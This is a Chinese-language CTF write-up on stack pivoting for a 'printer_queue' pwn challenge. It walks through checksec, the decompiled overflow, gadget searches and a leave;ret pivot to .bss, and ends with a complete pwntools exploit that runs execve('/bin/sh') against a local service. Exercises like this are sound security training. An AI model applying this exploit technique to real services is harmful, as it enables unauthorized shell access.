平凡挂壁路人一枚

公告

随缘更新不定内容，敬请期待！！！

Learn More

1278 words

6 minutes

栈迁移相关

2026-09-21

wp

pwn

/

wp

写在前面#

图为新建的虚拟机

赫赫，最快的一集

6ay85L2s5LiA5Lq/5Liq5q+U6LWb5L2g5bCx5omT5ZCn

自助打印机#

checksec

1
    Arch:       amd64-64-little
2
    RELRO:      Partial RELRO
3
    Stack:      Canary found
4
    NX:         NX enabled
5
    PIE:        No PIE (0x400000)
6
    SHSTK:      Enabled
7
    IBT:        Enabled
8
    Stripped:   No

main

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned __int16 v4; // [rsp+Eh] [rbp-2h] BYREF
4

5
  IO_setvbuf(stdin, 0, 2, 0);
6
  IO_setvbuf(stdout, 0, 2, 0);
7
  alarm(30);
8
  IO_puts("=== Self-Service Printer Queue ===");
9
  IO_puts("[printer] Submit a two-byte little-endian print queue length.");
10
  IO_puts("[printer] Send print queue data:");
11
  read_exact(&v4, 2);
12
  if ( v4 && v4 <= 0x400u )
13
  {
14
    read_exact(&print_queue, v4);
15
    IO_puts("[printer] Print queue stored.");
16
    IO_puts("[printer] Confirm the print job with a 40-byte ticket:");
17
    confirm_print_job();
18
    return 0;
19
  }
20
  else
21
  {
22
    IO_puts("[printer] Invalid print queue length.");
23
    return 0;
24
  }
25
}

查看print_queue大小

1
 readelf -sW ./printer_queue | grep -i print_queue
2
   893: 00000000004a9a80  1024 OBJECT  GLOBAL DEFAULT   21 print_queue

看confirm_print_job

1
__int64 confirm_print_job()
2
{
3
  _BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF
4

5
  read_exact(v1, 40);
6
  return IO_puts("[printer] Job confirmation accepted.");
7
}

明显溢出

现在找system以及/bin/sh

WSL找半天没找到

1
ROPgadget --binary ./printer_queue | grep -E 'syscall|pop rax|pop rdi|pop rsi|pop rdx'

由于溢出后空间过小，所以我们考虑栈迁移

先放一下前置

栈迁移

1
ext:0000000000401878 ; __unwind {
2
.text:0000000000401878                 endbr64
3
.text:000000000040187C                 push    rbp
4
.text:000000000040187D                 mov     rbp, rsp
5
.text:0000000000401880                 sub     rsp, 10h
6
.text:0000000000401884                 lea     rax, [rbp+var_10]
7
.text:0000000000401888                 mov     esi, 28h ; '('
8
.text:000000000040188D                 mov     rdi, rax
9
.text:0000000000401890                 call    read_exact
10
.text:0000000000401895                 mov     edi, offset aPrinterJobConf ; "[printer] Job confirmation accepted."
11
.text:000000000040189A                 call    _IO_puts
12
.text:000000000040189F                 nop
13
.text:00000000004018A0                 leave
14
.text:00000000004018A1                 retn
15
.text:00000000004018A1 ; } // starts at 401878
16
.text:00000000004018A1 confirm_print_job endp

可以看到我们覆盖完saved rbp 和返回地址之后在leave; retn阶段才会使用被覆盖的 saved rbp 和返回地址

只要把写入地址空间改大，然后再用经典的ROP重新跳转回main再写入一遍，那不就好了

然后就是

1
strings -tx ./printer_queue | grep "/bin/sh"
2
ROPgadget --binary ./printer_queue | grep "pop rax ; ret"
3
ROPgadget --binary ./printer_queue | grep "pop rdi ; ret"
4
ROPgadget --binary ./printer_queue | grep "pop rsi ; ret"
5
ROPgadget --binary ./printer_queue | grep "pop rdx ; ret"
6
ROPgadget --binary ./printer_queue | grep "syscall"
7
ROPgadget --binary ./printer_queue | grep "leave ; ret"
8
ROPgadget --binary ./printer_queue | grep "ret$"

ctrl+F

pop rdi ; ret,pop rsi ; ret,pop rax ; ret,syscall

1
0x432e48 : pop rdi ; ret
2
0x402b86 : pop rsi ; ret
3
0x42149b : pop rax ; ret
4
0x401324 : syscall

这不就挺干净

ROP不就拼拼凑凑

.bss

1
 readelf -S ./printer_queue | grep .bss
2
  [15] .tbss             NOBITS           00000000004a3ed0  000a2ed0
3
  [21] .bss              NOBITS           00000000004a9a20  000a8a08

main以及**confirm_print_job**，用于再一次跳回函数，毕竟只有一个read，第一次只能造成栈迁移，第二次才是真正攻击的时候

1
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/自助打印机/attachment$ readelf -s ./printer_queue | grep -E " main$| confirm_print_job"
2
   133: 0000000000401878    42 FUNC    LOCAL  DEFAULT    7 confirm_print_job
3
  1526: 00000000004018a2   217 FUNC    GLOBAL DEFAULT    7 main

现在是system以及/bin/sh搜索的事情

1
strings -tx ./printer_queue | grep "/bin/sh"
2
(base) dxfaker@LAPTOP-US9FCLPD:/mnt/d/ctf/flag/pwn/moectf/自助打印机/attachment$

呃，那我们直接考虑execve吧

x86-64:

1
rax = 59          # execve 系统调用号
2
rdi = "/bin/sh"   # 文件名指针
3
rsi = 0           # argv = NULL
4
rdx = 0           # envp = NULL
5
syscall

现在还差一个rdx = 0

rdx的链不干净

1
0x4684fc : pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret

弹一个值给 rdx

把 eax 清零

再弹 4 个垃圾值给 rbx、r12、r13、rbp

涉及rax相关，所以先考虑把rdx设置好,再把rax设置

那么就是

1
execve_chain = flat([
2
    # rdx = 0，同时 eax 被清零
3
    pop_rdx_xor_eax_pop4, 0, 0, 0, 0, 0,
4

5
    # rax = 59
6
    pop_rax, 59,
7

8
    # rdi = binsh
9
    pop_rdi, binsh,
10

11
    # rsi = 0
12
    pop_rsi, 0,
13

14
    # syscall
15
    syscall
16
])

现在就可以考虑第一步该怎么操作了

由于给的空间真的太小太小，所以第一步必然不考虑直接跑到.bss，而是想办法怎么构造出ROP

adccb62b-ad4c-4a0c-9fbb-22fad7fd0a7f

可以看到main的两个raed，一个写入内容太小，一个是滚木地址，那总得确认第二个是写入到哪的吧

1
bss:00000000004A9A20 __bss_start     db ?                    ; DATA XREF: __do_global_dtors_aux+4↑r
2
.bss:00000000004A9A20                                         ; __do_global_dtors_aux:loc_4017CA↑w
3
.bss:00000000004A9A20                                         ; Alternative name is 'completed.1'
4
.bss:00000000004A9A21                 align 20h
5
.bss:00000000004A9A40 object_0        db    ? ;               ; DATA XREF: frame_dummy+F↑o
6
.bss:00000000004A9A41                 db    ? ;
7
.bss:00000000004A9A42                 db    ? ;
8
.bss:00000000004A9A43                 db    ? ;
9
.bss:00000000004A9A44                 db    ? ;
10
.bss:00000000004A9A45                 db    ? ;
11
.bss:00000000004A9A46                 db    ? ;
12
.bss:00000000004A9A47                 db    ? ;
13
.bss:00000000004A9A48                 db    ? ;
14
...
15
.bss:00000000004A9A80                 public print_queue
16
.bss:00000000004A9A80 print_queue     db    ? ;               ; DATA XREF: main+AF↑o

还有天然的写入，无敌了

那么就是先把ROP以及/bin/sh写入进去,然后再在 confirm_print_job 中栈迁移到 .bss，最后在.bss 上执行 execve("/bin/sh", 0, 0)

忘记说了,还有个bin的小巧思

因为 "/bin/sh\x00" 这个字符串在内存里紧跟在 ROP 链的后面，所以它的地址 = ROP 链起始地址 + ROP 链长度。

但是呢,ROP链又得有

1
pop_rdi, binsh_addr

那怎么办呢,~~只有天知道~~

你我都是懒鬼，不可能都直接把ROP长度算一遍对吧

那在python里面顺便算了不就好了

1
#只在 Python 内存里存在，用来算长度
2
rop_part = flat([
3
    0,
4
    pop_rdx, 0, 0, 0, 0, 0,
5
    pop_rax, 59,
6
    pop_rdi, 0,
7
    pop_rsi, 0,
8
    syscall
9
])
10
binsh_addr = bss + len(rop_part)
11
rop_chain = flat([
12
    0,
13
    pop_rdx, 0, 0, 0, 0, 0,
14
    pop_rax, 59,
15
    pop_rdi, binsh_addr,
16
    pop_rsi, 0,
17
    syscall
18
]) + b"/bin/sh\x00"

为什么一开始有一个0呢

回顾一下leave; ret

拆解中有一步pop rbp,这是在.bss上弹一个值给rbp，那总不能给他pop_rdx吧

那就放0占位好了

exp

1
from pwn import *
2

3
context.arch = 'amd64'
4
context.log_level = 'debug'
5

6
bss       = 0x4a9a80
7
leave_ret = 0x401876
8

9
pop_rax   = 0x42149b
10
pop_rdi   = 0x432e48
11
pop_rsi   = 0x402b86
12
pop_rdx   = 0x4684fc
13
syscall   = 0x401324
14

15
rop_part = flat([
16
    0,
17
    pop_rdx, 0, 0, 0, 0, 0,
18
    pop_rax, 59,
19
    pop_rdi, 0,
20
    pop_rsi, 0,
21
    syscall
22
])
23
binsh_addr = bss + len(rop_part)
24
argv_addr = binsh_addr + 8
25

26
rop_chain = flat([
27
    0,
28
    pop_rdx, 0, 0, 0, 0, 0,
29
    pop_rax, 59,
30
    pop_rdi, binsh_addr,
31
    pop_rsi, argv_addr,
32
    syscall
33
]) + b"/bin/sh\x00" + p64(binsh_addr) + p64(0)
34

35
p = remote('127.0.0.1', 51356)
36

37
p.recvuntil(b"data:")
38
p.send(p16(0x400))
39
p.send(rop_chain.ljust(0x400, b'\x00'))
40

41
payload = b'A' * 16 + p64(bss) + p64(leave_ret)
42
payload = payload.ljust(0x28, b'A')
43
p.send(payload)
44

45
p.interactive()